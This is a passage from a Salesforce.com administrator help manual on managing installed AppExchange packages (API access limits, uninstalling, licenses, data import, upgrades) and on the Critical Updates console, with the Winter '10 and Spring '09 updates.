• If Salesforce.com introduces a new standard object after you select restricted access for a package, access to the new standard
object is not granted by default. You must modify the restricted access setting to include the new standard object.
• When you upgrade a package, changes to the API access are ignored even if the developer specified them. This ensures
that the administrator installing the upgrade has full control. Installers should carefully examine the changes in package
access in each upgrade during installation and note all acceptable changes. Then, because those changes are ignored, the
administrator should manually apply any acceptable changes after installing an upgrade.
• S-controls are served by Salesforce.com and rendered inline in Salesforce.com. Because of this tight integration, there are
several means by which an s-control in an installed package could escalate its privileges to the user’s full privileges. In order
to protect the security of organizations that install packages, s-controls have the following limitations:
- For packages you are developing (that is, not installed from AppExchange), you can only add s-controls to packages
with the default Unrestricted API access. Once a package has an s-control, you cannot enable Restricted API
access.
- For packages you have installed, you can enable access restrictions even if the package contains s-controls. However,
access restrictions provide only limited protection for s-controls. Salesforce.com recommends that you understand the
JavaScript in an s-control before relying on access restriction for s-control security.
- If an installed package has Restricted API access, upgrades will be successful only if the upgraded version does not
contain any s-controls. If s-controls are present in the upgraded version, you must change the currently installed package
to Unrestricted API access.

See Also:
Installing a Package
Configuring Installed Packages
Deploying Installed Packages

1098
Installed Packages Uninstalling a Package

Uninstalling a Package
Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To uninstall packages: “Download AppExchange Packages”

You can remove any installed package, including all of its components and all data in the package. Additionally, any custom
fields, links, or anything else you added to the custom app after installation are also removed.
To remove a package:

1. Click Setup ➤ View Installed Packages.


2. Click Uninstall next to the package that you want to remove.
3. Select Yes, I want to uninstall... and click Uninstall.
4. After an uninstall, Salesforce.com automatically creates an export file containing the package data as well as any associated
notes and attachments. When the uninstall is complete, Salesforce.com sends an email containing a link to the export file
to the user performing the uninstall. The export file and related notes and attachments are listed below the list of installed
packages. We recommend storing the file elsewhere because it is only available for a limited period of time after the uninstall
completes.
Tip: If you reinstall the package later and want to reimport the package data, see Importing Package Data on page
1105.

Notes on Uninstalling Packages


• If you are uninstalling a package that includes a custom object, all components on that custom object are also deleted. This
includes custom fields, validation rules, s-controls, custom buttons and links, as well as workflow rules and approval
processes.
• You cannot uninstall a package whenever any component in the package is referenced by a component that will not get
included in the uninstall. For example:
- When an installed package includes any component on a standard object that another component references,
Salesforce.com prevents you from uninstalling the package. This means that you can install a package that includes a
custom user field and build a workflow rule that gets triggered when the value of that field is a specific value. Uninstalling
the package would prevent your workflow from working.
- When you have installed two unrelated packages that each include a custom object and one custom object component
references a component in the other, Salesforce.com prevents you from uninstalling the package. This means that you
can install an expense report app that includes a custom user field and create a validation rule on another installed
custom object that references that custom user field. However, uninstalling the expense report app would prevent the
validation rule from working.
- When an installed folder contains components you added after installation, Salesforce.com prevents you from uninstalling
the package.
- When an installed letterhead is used for an email template you added after installation, Salesforce.com prevents you
from uninstalling the package.

1099
Installed Packages Managing Package Installations

• Uninstall export files contain custom app data for your package, excluding some components such as documents and
formula field values.

See Also:
Installing a Package
Managing Package Installations
Managing Licenses for Installed Packages
Upgrading Packages
Importing Package Data
Installation Guide: Installing Apps from the AppExchange

Managing Package Installations


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To uninstall packages: “Download AppExchange Packages”
To assign licenses for a managed package: “Manage Package Licenses”
To download or delete the export file for an uninstalled “Download AppExchange Packages”
package:

Note: Some publishers are currently in a pilot program for push upgrades of managed packages. This allows the
publisher to automatically upgrade the package for you. The version number and behavior for your installed package
may change following a push upgrade. Please see the package publisher for more information.

View a list of the packages you installed from Force.com AppExchange and data export files from uninstalled packages by
clicking Setup ➤ View Installed Packages. These packages can be either managed or unmanaged.
Note: Salesforce.com only lists license information for managed packages. For unmanaged packages, the license-related
fields, such as Allowed Licenses, Used Licenses, and Expiration Date, will display the value “N/A.”

Using this list, you can:

• Click Uninstall to remove the package and all its components from your Salesforce.com organization. See Uninstalling a
Package on page 1099.
• Click Manage Licenses to assign available licenses to users in your organization. This is only available for licensed managed
packages. For more information, see Managing Licenses for Installed Packages on page 1106.
Note: If you purchased a site license or if the managed package is not licensed, Salesforce.com automatically assigns
licenses to all your users and the ability to manage licenses is not available. Your users can use the package as long
as they have the appropriate profile and permissions.

• Click Configure if the publisher has included a link to an external website with information about configuring the package.

1100
Installed Packages Managing Package Installations

• Click the package name to view details about this package.


• View the publisher of the package.
• View the status of the licenses for this package. Available values include:

- Trial
- Active
- Suspended
- Expired
- Free

This field is only displayed if the package is managed and licensed.


• Track the number of licenses available (Allowed Licenses) and the number of licenses that are assigned to users (Used
Licenses).
• View the date your licenses for this package are scheduled to expire.
• View the date your licenses were installed.
Note: If you have not installed a licensed managed package, the Publisher, Status, Allowed Licenses, Used
Licenses, and Expiration Date fields do not appear.

After an uninstall, Salesforce.com automatically creates an export file containing the package data as well as any associated
notes and attachments. When the uninstall is complete, Salesforce.com sends an email containing a link to the export file to
the user performing the uninstall. The export file and related notes and attachments are listed below the list of installed
packages. We recommend storing the file elsewhere because it is only available for a limited period of time after the uninstall
completes. Using this list, you can:

• Click Download to open or store the export file.


• Click Del to delete the export file.

See Also:
Installing a Package
Uninstalling a Package
Managing Licenses for Installed Packages
Upgrading Packages
Displaying Installed Package Details
Importing Package Data

1101
Installed Packages Managing Package Installations

Displaying Installed Package Details


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To uninstall packages: “Download AppExchange Packages”
To manage user licenses for an AppExchange package: “Manage Package Licenses”

The package detail page displays essential details about the package you installed from AppExchange. To access the package
detail page, click Setup ➤ View Installed Packages, then click the name of the package you want to view.
From this page, you can:

• Click Uninstall to remove the package and all its components from your Salesforce.com organization. See Uninstalling a
Package on page 1099.
• If you have the Customize Application permission, click Deploy to roll out the package to your users. This option
is not available if you previously deployed this package. For information on deploying packages, see Deploying Installed
Packages on page 1095.
• Click Manage Licenses to assign available licenses to users in your organization. This is only available for licensed managed
packages. See Managing Licenses for Installed Packages on page 1106.
Note: If you purchased a site license or if the managed package is not licensed, Salesforce.com automatically assigns
licenses to all your users and the ability to manage licenses is not available. Your users can use the package as long
as they have the appropriate profile and permissions.

• Optionally, click Show dependencies and review a list of components that rely on other components, permissions, or
preferences within the package. An entity may include such things as an s-control, a standard or custom field, or an
organization-wide setting like multicurrency. Your package cannot be installed unless the installer has the listed components
enabled or installed. See Understanding Dependencies on page 923 for more information on dependencies. Click Done to
return to the Package detail page.

Viewing Installed Packages


The installed package page lists the following package attributes (in alphabetical order):

Attribute Description
Action Can be one of two options:
• Uninstall
• Manage Licenses

Allowed Licenses The total number of licenses you purchased for this package.
The value is “Unlimited” if you have a site license for this
package. This field is only displayed if the package is managed
and licensed.
Description A detailed description of the package.

1102
Installed Packages Managing Package Installations

Attribute Description
Installed Date The date of the package installation.
Expiration Date The date that this license expires, based on your terms and
conditions. The expiration date is “Does Not Expire” if the
package will never expire.This field is only displayed if the
package is managed and licensed.
Namespace The one to 15-character alphanumeric identifier that
distinguishes a package and its contents from packages of other
developers on AppExchange.
Package Name The name of the package, given by the publisher.
Publisher The provider of an AppExchange listing is the Salesforce.com
user or organization that published the listing. This field is
only displayed if the package is managed and licensed.
Remote Access A list of the remote access applications that can have access
to a user's Salesforce.com data after the user and the
application have been verified.
Status The state of a package. Available values include:
• Trial
• Active
• Suspended
• Expired
• Free
This field is only displayed if the package is managed and
licensed.
Used Licenses The total number of licenses that are already assigned to users.
This field is only displayed if the package is managed and
licensed.
Version Name The version name for this package version. The version name
is the marketing name for a specific release of a package. It is
more descriptive than the Version Number.

Viewing Installed Package Details


The installed package detail page lists the following package attributes (in alphabetical order):

Attribute Description
API Access The type of access that the API and dynamic Apex scripts
that package components have. The default setting is
Unrestricted, which means that all package components that
access the API have the same access as the user who is logged
in. Click Enable Restrictions or Disable Restrictions to
change the API and dynamic Apex access permissions for a
package.
For more information about API access and the access dynamic
Apex scripts have for managed package components, see

1103
Installed Packages Managing Package Installations

Attribute Description
Managing API and Dynamic Apex Access in Packages on
page 787.

Description A detailed description of the package.


First Installed Version Number The first installed version of the package in your organization.
This field is only displayed for managed packages. You can
reference this version and any subsequent package versions
that you have installed. If you ever report an issue with a
managed package, you should include the version number in
this field when communicating with the publisher.
Installed By The name of the user that installed this package in your
organization.
Modified By The name of the last user to modify this package, including
the date and time.
Namespace The one to 15-character alphanumeric identifier that
distinguishes a package and its contents from packages of other
developers on AppExchange.
Package Name The name of the package, given by the publisher.
Package Type Indicates whether this is a managed or unmanaged package.
Publisher The provider of an AppExchange listing is the Salesforce.com
user or organization that published the listing. This field is
only displayed if the package is managed and licensed.
Version Name The version name for this package version. The version name
is the marketing name for a specific release of a package. It is
more descriptive than the Version Number.
Version Number The version number for the latest installed package version.
The format is majorNumber.minorNumber.patchNumber,
such as 2.1.3. The version number represents a release of a
package. The Version Name is a more descriptive name for
the release. Note that the patchNumber is generated only
when you create a patch. If there is no patchNumber, it is
assumed to be zero (0).

You can also see a list of the components included in an installed package. The following component information is displayed
(in alphabetical order):

Attribute Description
Name Displays the name of the component.
Parent Object Displays the name of the parent object a component is
associated with. For example, a custom object is the parent of
a custom field.

1104
Installed Packages Managing Package Installations

Attribute Description
Type Displays the type of the component.

See Also:
Managing Package Installations
Importing Package Data

Importing Package Data


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To import Force.com AppExchange package data: The permissions required to use the import tool you choose,
such as the import wizard or Data Loader.

When you uninstall an AppExchange package, Salesforce.com automatically creates an export file containing the package data
as well as any associated notes and attachments. If you choose to install the package again, you can import this data.
To import your AppExchange package data, use one of the following tools that is available for your Edition:

• For Group Edition, use the appropriate import wizard.


• For Professional Edition, use the appropriate import wizard or any compatible AppExchange Certified Partner integration
tool on http://sites.force.com/appexchange.
• For Enterprise, Developer, and Unlimited Edition, use the Data Loader.

Notes on Importing AppExchange Package Data


• Salesforce.com converts date fields into date/time fields upon export. Convert the appropriate fields into date fields before
you import.
• Salesforce.com exports all date/time fields in Greenwich Mean Time (GMT). Before importing these fields, convert them
to the appropriate time zone.
• The value of auto number fields may be different when you import. To retain the old values, create a new custom auto
number field on a custom object before importing the data.
• Salesforce.com updates system fields such as Created Date and Last Modified Date when you import. To retain
the old values for these fields, contact salesforce.com support.
• Relationships are not included in the export file. Recreate any master-detail or lookup relationships after importing your
data.
• Record type IDs are exported but not the record type name.
• Field history is not exported.

1105
Installed Packages Managing Licenses for Installed Packages

• Recreate any customizations that you made to the package after installation.

See Also:
Managing Package Installations
Displaying Installed Package Details
Uninstalling a Package
Installing a Package

Managing Licenses for Installed Packages


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To manage licenses for a AppExchange package: “Manage Package Licenses”

When you install a licensed managed package in your organization from AppExchange, you purchase a certain number of
licenses from the package developer or publisher. You can assign each license to a user within your organization. If you assign
all available licenses, but would like to grant licenses to additional users, you can reassign a license or purchase more. To get
more licenses, contact the publisher of the managed package.
Note: If you purchased a site license or if the managed package is not licensed, Salesforce.com automatically assigns
licenses to all your users and the ability to manage licenses is not available. Your users can use the package as long as
they have the appropriate profile and permissions.

1. Click Setup ➤ View Installed Packages.


2. Click Manage Licenses next to the package.
Note: To assign licenses for a package, you must have access to the package and at least one available license.

• To assign licenses to more users, click Add Users. For more information, see Assigning Licenses for Installed Packages
on page 1108.
• To remove a license from a user, click Remove next to the user's name. To remove licenses from multiple users, click
Remove Multiple Users. For information, see Removing Licenses for Installed Packages on page 1109.
• Click any column heading to sort the users in ascending order using the data in that column. Click the heading again
to sort in descending order.

1106
Installed Packages Managing Licenses for Installed Packages

• If available, select fewer or more to view a shorter or longer display list.

See Also:
Installing a Package
Uninstalling a Package
Managing Package Installations
Upgrading Packages
About Managed Packages
Assigning Licenses for Managed Packages
Assigning Licenses for Installed Packages
Removing Licenses for Installed Packages
Responding to License Manager Requests

Assigning Licenses for Managed Packages


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To edit users: “Manage Users”
To manage licenses for an AppExchange package: “Manage Package Licenses”

When you install a licensed managed package in your organization from AppExchange, you purchase a certain number of
licenses from the package developer or publisher. You can assign each license to a user within your organization. If you assign
all available licenses, but would like to grant licenses to additional users, you can reassign a license or purchase more. To get
more licenses, contact the publisher of the managed package.
The Managed Packages related list on the user detail page lists all managed packages that user is assigned. Assigning a license
for a managed package makes the package available to the user within Salesforce.com.
Unmanaged packages will not appear on this list, as you cannot assign licenses for them.
To assign a user to a license for one of the available managed packages:

1. Click Setup ➤ Manage Users ➤ Users.


2. Click Assign Licenses from the Managed Packages list.
3. Select the package you want to assign to the user. All available managed packages are listed in the Unassigned Packages
list. After selecting a package, Salesforce.com automatically moves it to the Selected Packages list.
The Unassigned Packages list displays all packages that this user could access if assigned a license. Packages will not appear
on this list if they are unmanaged, uninstalled, in use, or not available.

• Click a letter to view the packages that begin with that letter.
• Click All to display all available managed packages.

1107
Installed Packages Managing Licenses for Installed Packages

• Click select shown to select all packages displayed in the Unassigned Packages list on the current page, adding them
to the Selected Packages list below.
• Click deselect shown or deselect all to move packages from the Selected Packages area to the Unassigned Packages
area.

4. Click Add.

To revoke a license from this user, click the Remove link next to the appropriate package name.

See Also:
About Managed Packages
Managing Licenses for Installed Packages
Assigning Licenses for Installed Packages
Removing Licenses for Installed Packages

Assigning Licenses for Installed Packages


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To manage licenses for an AppExchange app: “Manage Package Licenses”

Assigning Licenses to Users


To assign licenses to Force.com AppExchangeusers:
Note: If you purchased a site license or if the managed package is not licensed, Salesforce.com automatically assigns
licenses to all your users and the ability to manage licenses is not available. Your users can use the package as long as
they have the appropriate profile and permissions.

1. Click Setup ➤ View Installed Packages to find the installed package that has available licenses.
2. Click the Manage Licenses link next to the package name.
3. Click Add Users.
4. Choose a view from the drop-down list, or click Create New View to build a new custom view; see Creating Custom List
Views on page 1691.
5. Click a letter to filter the users with a last name that corresponds with that letter.
6. Click All to display all users who match the criteria of the current view.
7. Select the users. Selected users are listed in the Selected list.
8. When the Selected list includes all users to which you want to assign licenses, click Add.

1108
Installed Packages Managing Licenses for Installed Packages

Note: You can also add a single user from the user's detail page. See Editing Users on page 130.

See Also:
About Managed Packages
Managing Licenses for Installed Packages
Assigning Licenses for Managed Packages
Removing Licenses for Installed Packages

Removing Licenses for Installed Packages


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To manage licenses for an AppExchange package: “Manage Package Licenses”

To remove licenses for an AppExchange package from multiple users:

1. Click Setup ➤ View Installed Packages.


2. Click Manage Licenses next to the package name.
3. Click Remove Multiple Users.
4. Optional: To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View
to define your own custom view.
5. Click a letter to filter the users with a last name that corresponds with that letter.
6. Click All to display all users who match the criteria of the current view.
7. Select the users you want to remove from the license.
8. When the Selected for Removal area includes all users for which you want to remove licenses, click Remove.

To remove licenses for an AppExchange package from a single user, there are two options.

1. Click Setup ➤ Manage Users ➤ Users and click Remove next to the package in the managed packages list.
2. Click Setup ➤ View Installed Packages, then click Manage Licenses next to the package name, and click Remove next
to the user.

See Also:
About Managed Packages
Managing Licenses for Installed Packages
Assigning Licenses for Managed Packages
Assigning Licenses for Installed Packages

1109
Installed Packages Managing Licenses for Installed Packages

Responding to License Manager Requests


Available in: Developer Edition
Package uploads and installs are available in Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To respond to registration requests: “Customize Application”

A license manager is a Salesforce.com organization that tracks all Salesforce.com subscribers installing a particular AppExchange
package. Salesforce.com administrators can choose to designate another organization as the license manager for one of their
packages. The license manager does not need to be the same organization as the one from which the package is managed. To
choose another organization as the license manager, all you need is an email address (not a Salesforce.com username). If a
Salesforce.com administrator selects to have a third-party license manager and enters your email address, you will receive a
license management request in email.
To respond to a registration request:

1. Click the link in the license management request email. This displays the registration request in the requestor's Developer
Edition organization.
2. Click Accept to complete the registration process. Alternatively, click Reject to decline the request and close the browser;
this prevents you from using the link again.
Note: If you accept this request, you authorize Salesforce.com to automatically create records in your Salesforce.com
organization to track information about this package. Choosing a license manager organization is permanent and
cannot be changed.

3. Enter the username and password for the Salesforce.com organization you want to use to manage licenses for this package.
A license manager can be any Salesforce.com organization that has installed the free License Management Application
(LMA) from Force.com AppExchange.
4. Click Confirm.

See Also:
About Managed Packages
Managing Licenses for Installed Packages

1110
Installed Packages Upgrading Packages

Upgrading Packages
Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To upload packages: “Upload AppExchange Packages”
To uninstall packages: “Download AppExchange Packages”
To install packages: “Download AppExchange Packages”

Salesforce.com supports upgrades for managed packages only. Publishers can publish an upgrade for a managed package and
notify installers that the new version is available. Installers of a managed package can then install the upgrade as follows:

1. Before you install an upgrade, determine if the app you installed was from a managed package. Look for the Managed
- Installed icon on the detail pages for each component and on the list of packages installed.
If the app you installed is not from a managed package, upgrades for it are not available.
2. Then, install the upgrade in the same way you would install any other package from Force.com AppExchange directory.
If the publisher provided a link to the new version, follow the link to the package posting and install it in your organization.
The first page of the install wizard lists the current version you have installed, the version you are about to install, and a
list of additional components included in the new version.

Notes on Upgrading Managed Packages


Consider the following when upgrading a managed package:
• All existing custom objects that were previously deployed will still be deployed. Salesforce.com prompts you to deploy any
new custom objects or previously undeployed custom objects.
• Profile settings are editable but not upgradeable. After upgrading, update the profile settings for any custom objects included
in the package. The developer can make changes to profile settings after releasing them, but those changes will not be
included in an upgrade.
• If the developer chooses to add universally required custom fields, the fields will have default values.
• Translation workbench values for components that are “editable but not upgradeable” based on the Packageable Components
are excluded from upgrades.
• If an installed package has Restricted API access, upgrades will be successful only if the upgraded version does not
contain any s-controls. If s-controls are present in the upgraded version, you must change the currently installed package
to Unrestricted API access.
• When you upgrade a package, changes to the API access are ignored even if the developer specified them. This ensures
that the administrator installing the upgrade has full control. Installers should carefully examine the changes in package

1111
Installed Packages Upgrading Packages

access in each upgrade during installation and note all acceptable changes. Then, because those changes are ignored, the
administrator should manually apply any acceptable changes after installing an upgrade.

See Also:
Installing a Package
Uninstalling a Package
Managing Package Installations
Managing Licenses for Installed Packages

1112
CRITICAL UPDATES CONSOLE

Critical Updates Overview


Available in: All Editions

User Permissions Needed


To view critical updates: “View Setup”
To activate critical updates: “Modify All Data” and “Customize Application”

Salesforce.com periodically releases updates that improve the performance, logic, and usability of Salesforce.com, but may
affect your existing customizations. When these updates become available, Salesforce.com lists them at Setup ➤ Critical
Updates, sends a notification email to administrators, and displays a message when administrators click Setup.
To ensure a smooth transition, each update has an opt-in period during which you can manually activate and deactivate the
update an unlimited number of times to evaluate its impact on your organization and modify affected customizations as
necessary. The opt-in period ends on the auto-activation date, at which time Salesforce.com permanently activates the update.
Caution: Salesforce.com recommends testing each update by activating it in either your Developer Sandbox or your
production environment during off-peak hours.

To manage critical updates, click Setup ➤ Critical Updates. From this page, you can:

• View the summary, status, and auto-activation date for any update that Salesforce.com has not permanently activated.
• Click Review to view the detail page of any update that Salesforce.com has not permanently activated. The details include
a list of the customizations in your organization that the update might affect and the activation history, which lists each
time the update was activated and deactivated.
• Click Activate to activate any inactive update.
• Click Deactivate to deactivate any active update that Salesforce.com has not permanently activated.

See Also:
Winter '10 Critical Updates
Spring '09 Critical Updates

Notes on Critical Updates


When working with critical updates, note the following:

• Salesforce.com analyzes your organization to determine if a critical update potentially affects your customizations. If your
customizations are not affected, Salesforce.com automatically activates the update in your organization, and the update
does not appear when you click Setup ➤ Critical Updates.
• On the scheduled auto-activation date, Salesforce.com permanently activates the update. After auto-activation, you cannot
deactivate the update.

1113
Critical Updates Console Winter '10 Critical Updates

• Each update detail page has its own online help topic that contains important information and examples to help you
understand how your customizations might be affected and how you can correct any unintended functionality.
• Salesforce.com displays a message the first time you access the setup menu after a critical update becomes available. The
message lets choose to have Salesforce.com display the updates immediately or remind you about the updates later. You
can also choose to have Salesforce.com neither display the updates nor remind you. If you choose this option, Salesforce.com
will not display the message again until another new update is available.

Winter '10 Critical Updates


Available in: All Editions

User Permissions Needed


To view critical updates: “View Setup”
To activate critical updates: “Modify All Data” and “Customize Application”

Winter '10 features one critical update:

• New Campaign Member Creation Behavior—Enables Salesforce.com to evaluate triggers, validation rules, and workflow
rules when you create campaign members using:

- the Lead Import Wizard


- the Campaign Update Wizard
- Web-to-Lead
- the Campaign field when creating or cloning a lead

For more information, see What is the Winter '10 New Campaign Member Creation Behavior Update?

See Also:
Critical Updates Overview

1114
Critical Updates Console Winter '10 Critical Updates

What is the Winter '10 New Campaign Member Creation Behavior Update?
Available in: Enterprise, Unlimited, and Developer Editions
Available for an additional cost in: Professional Edition

User Permissions Needed


To view the Winter '10 New Campaign Member Creation “View Setup”
Behavior update:
To activate the Winter '10 New Campaign Member Creation “Customize Application”
Behavior update:
AND
“Modify All Data”

The Winter '10 New Campaign Member Creation Behavior update enables Salesforce.com to evaluate triggers, validation
rules, and workflow rules when you create campaign members using:

• the Lead Import Wizard


• the Campaign Update Wizard
• Web-to-Lead
• the Campaign field when creating or cloning a lead

Additionally, the New Campaign Member Creation Behavior allows you to map import fields to campaign member custom
fields. For example, you can now map “Attended?” and “# Questions Asked” fields in an import file to campaign member
custom fields called “Attended?” and “# Questions Asked.”
When you activate this update, you have the option to run workflow and map campaign member custom fields when you
create campaign members using the Lead Import Wizard or Campaign Update Wizard. Workflow runs automatically and
default campaign member custom field values are automatically populated for campaign members created using Web-to-Lead
or the Campaign field when you create or clone a lead. For campaign members created using the Lead Import Wizard, you
can now define the Campaign Member Status on a per-row basis.
If you deactivate this update, Salesforce.com does not evaluate the triggers, validation rules, and workflow rules for campaign
members created using the Lead Import Wizard, Campaign Update Wizard, Web-to-Lead, or the Campaign field when
creating or cloning a lead, and you can't map import fields to campaign member custom fields.
Important: This critical update changes the behavior of campaign members created using the campaign member
wizards, Web-to-Lead, and the Campaign field when creating a new or cloned lead. Customizations to these features
may behave differently when you activate this update, for example:

• Lead and campaign member triggers dependent on simultaneous campaign member and lead creation won't work
because campaign members are created after leads.
• If import file data conflicts with existing campaign member triggers and validation rules, the leads and campaign
members will not be inserted.
• Apex triggers that result in leads being converted before being added to a campaign, for example, an after
insert trigger, result in a campaign member with only contact fields populated. These records are not included
in the campaign's converted lead count.

1115
Critical Updates Console Winter '10 Critical Updates

If your organization has any of these customizations, read the examples to understand how you might be affected and
how you can correct unintended functionality.

Salesforce.com recommends activating this update because it ensures that campaign members are created with the same rules
regardless of how they are created. and the quality of your data is improved.
Important: Activation of this update impacts campaign member records in the user interface, API, and desktop
clients, such as Connect for Outlook.

The Winter '10 New Campaign Member Creation Behavior update is automatically activated for new customers that sign up
after the Winter '10 release in October 2010; if this update is automatically activated, you can't deactivate it.
If this update is not activated by default, Salesforce.com automatically activates the update on the date specified in the
auto-activation column on the Critical Updates page. Before that time, Salesforce.com recommends testing the update by
activating it in your Sandbox or production environment during off-peak hours. You can activate and deactivate the update
an unlimited number of times.

Activating the Winter '10 New Campaign Member Creation Behavior Update
To activate the Winter '10 New Campaign Member Creation Behavior update:

1. Click Setup ➤ Critical Updates.


2. Click Review next to the New Campaign Member Creation Behavior update.
The Critical Update detail page displays feature customizations that may be affected by activating the update.
3. Determine if activating the update will cause unintended functionality, and if so, modify your customizations.
4. Click Activate.
5. Optionally, enter comments and click Activate. Comments appear in the activation history.

Deactivating the Winter '10 New Campaign Member Creation Behavior Update
To deactivate the Winter '10 New Campaign Member Creation Behavior update:

1. Click Setup ➤ Critical Updates.


2. Click Review next to the New Campaign Member Creation Behavior update.
3. Click Deactivate.
4. Optionally, enter comments and click Deactivate. Comments appear in the activation history.

New Campaign Member Creation Behavior Examples


Workflow Rule Example
Let's say you use the Lead Import Wizard to add members to a campaign named “Newsletter.” You have a workflow
rule that emails a newsletter to members added to this campaign.

• Update activated: You can choose to run workflow rules from the Lead Import Wizard. Your workflow rule is
evaluated for imported members and the newsletters are sent.
• Update deactivated: Your workflow rule isn't evaluated for members added to the campaign via the Lead import
Wizard and the newsletters aren't sent.

1116
Critical Updates Console Spring '09 Critical Updates

Apex Trigger Example


Assume there's an Apex trigger on campaign members that updates the Number Attended campaign custom field
when members with the “Attended” status are added to the “Webinar” campaign. You want to use the Campaign Update
Wizard to update the status for members of this campaign.

• Update activated: The Apex trigger fires for campaign members updated using the Campaign update Wizard, and
the Number Attended campaign custom field is updated.
• Update deactivated: The Apex trigger doesn't fire for members updated using the Campaign Update Wizard and
the Number Attended campaign custom field isn't updated.

Validation Rule Example


Imagine there's a campaign member validation rule that requires users to select a custom field called “RSVP-Yes” if the
member’s status is “RSVP-Yes.”

• Update activated: Campaign members imported with the status “RSVP-Yes” must also have the “RSVP-Yes” field
in the import file set to “TRUE,” or they aren't created.
• Update deactivated: You can import campaign members with the status “RSVP-Yes,” regardless of the “RSVP-Yes”
custom field value.

Campaign Member Custom Field Example


You want to map import fields called “Attended?” and “# Questions Asked” to campaign member custom fields of the
same names.

• Update activated: You can map these import fields during import to campaign member custom fields called “Attended?”
and “# Questions Asked.”
• Update deactivated: You cannot map these import fields to campaign member custom fields.

Spring '09 Critical Updates


Available in: All Editions

User Permissions Needed


To view critical updates: “View Setup”
To activate critical updates: “Modify All Data” and “Customize Application”

Spring '09 features two critical updates:

• Workflow Rule and Roll-Up Summary Field Evaluations The Spring '09 Workflow Rule and Roll-Up Summary Field
Evaluations update affects the way Salesforce.com evaluates workflow rules and roll-up summary fields on objects with
Apex triggers. The update improves the accuracy of your data and prevents the reevaluation of workflow rules in the event
of a recursion. A recursion is a situation in which a part of your custom logic (such as a roll-up summary field or Apex
trigger) causes Salesforce.com to execute the logic twice when saving a record, often resulting in undesirable behavior. For
more information, see What is the Spring '09 Workflow Rule and Roll-Up Summary Field Evaluations Update? on page
1122.

1117
Critical Updates Console Spring '09 Critical Updates

• New Opportunity Save Behavior The Spring '09 New Opportunity Save Behavior update affects how Salesforce.com
processes your organization's custom logic when changes you make to an opportunity product or schedule affect the
following cumulative fields on its parent record. For more information, see What is the Spring '09 New Opportunity Save
Behavior Update? on page 1118.

See Also:
Critical Updates Overview

What is the Spring '09 New Opportunity Save Behavior Update?


Available in: All Editions

User Permissions Needed


To view the Spring '09 New Opportunity Save Behavior “View Setup”
Update:
To activate the Spring '09 New Opportunity Save Behavior “Customize Application” and “Modify All Data“
Update:

The Spring '09 New Opportunity Save Behavior update affects how Salesforce.com processes your organization's custom logic
when changes you make to an opportunity product or schedule affect the following cumulative fields on its parent record:

• Opportunity Amount
• Opportunity Quantity
• Opportunity product Total Price
• Opportunity product Unit Price
• Opportunity product Quantity
• Any opportunity roll-up summary field

Note: If your opportunity has a roll-up summary field that rolls up the product list price, and a product's list price is
updated in the associated price book, the roll-up summary field on the opportunity will get updated but custom
opportunity or opportunity product save logic will not apply.

Activation of the New Opportunity Save Behavior update results in the following changes to application logic:

Customization on Parent Records New Opportunity Save Behavior New Opportunity Save Behavior
Deactivated Activated
Apex triggers Triggers on parent record are NOT fired Triggers on parent record ARE fired
upon parent cumulative field update upon parent cumulative field update
After triggers run after the parent After triggers run before the parent
cumulative field has been updated cumulative field has been updated

1118
Critical Updates Console Spring '09 Critical Updates

Customization on Parent Records New Opportunity Save Behavior New Opportunity Save Behavior
Deactivated Activated
Unique Field Validation Rule Rules on parent record are NOT fired Enforced when an update to a child
upon parent cumulative field update opportunity product or schedule record
Universally Required Field Validation
updates any of the cumulative fields
Rule
mentioned above
Custom Validation Rule

Workflow rule (field update) - on the Evaluated if an update to a child Rules for field update on parent record
parent record with the criteria “Every opportunity product or schedule record will run unique field validation,
time a Record is Created or Edited”  impacts the cumulative fields on the universally required field validation, and
parent record Apex triggers
Rules for a field update on parent record
will run custom validation rules, unique
field validation, universally required field
validation, as well as Apex triggers.

Workflow rule (task or email) Rules on parent record ARE fired Rules on parent record are ONLY fired
regardless of parent cumulative field upon parent cumulative field update
update
Rules on the child record are evaluated
Rules on the child record are evaluated based on “current” value of the parent
based on “updated” value of the parent record, that is the value of the cumulative
record field before it was updated by the change.
For more information on triggers and
order of execution, see the Force.com
Apex Code Developer's Guide.

Additionally, this update introduces changes to opportunity save behavior when cloning an opportunity with products. With
this update, custom logic such as validation rules, workflow rules, and Apex triggers will run on opportunity products as well
as the parent opportunity when you clone an opportunity with products. Furthermore, errors during cloning will occur if the
opportunity with products being cloned has a unique field constraint on the opportunity product, as the value in the unique
field would violate the constraint based on the copied value.
Important: Activation of this update impacts opportunity and opportunity product records in the user interface,
API, and desktop clients.

Salesforce.com recommends activating this update because it improves the consistency of your custom application logic and
the quality of your data.
The Spring '09 New Opportunity Save Behavior is automatically enabled for all new customers that sign up after the Spring
'09 release in February 2009. Starting in March 09, salesforce.com will begin rolling out the New Opportunity Save Behavior
update in phases. Once available, you will see the update on the Critical Updates page. The update will be auto-enabled for
organizations not currently using any of the customizations listed below. These customers will be required to review the update
and take the necessary actions in order to enable the update prior to its auto-activation date.

• Opportunity and opportunity product validation rules


• Opportunity and opportunity product universally required fields

1119
Critical Updates Console Spring '09 Critical Updates

• Opportunity and opportunity product unique fields


• Opportunity and opportunity product triggers
• Opportunity and opportunity product workflow rules
• Triggers on any object that cause an update to the opportunity and/or opportunity product

Salesforce.com recommends testing the update by activating it in either your Sandbox or your production environment during
off-peak hours. You can activate and deactivate the update an unlimited number of times. Leave the update activated if it does
not cause any unintended behavior.

Packaging Considerations
Because this update may cause Salesforce.com to run your custom application logic in situations where it did not run before,
Salesforce.com may block your organization from downloading packages from the AppExchange to prevent data corruption
and ensure accurate application functionality.
Packages will be designated as available for new save behavior, old save behavior, or both. Package developers can create a
package that will work in both new and old save behavior subscriber organizations. The package will be blocked from installation
into your organization if the following are all true:
• The package contains any of the following customizations:
- Opportunity and opportunity product universally required fields
- Opportunity and opportunity product unique fields
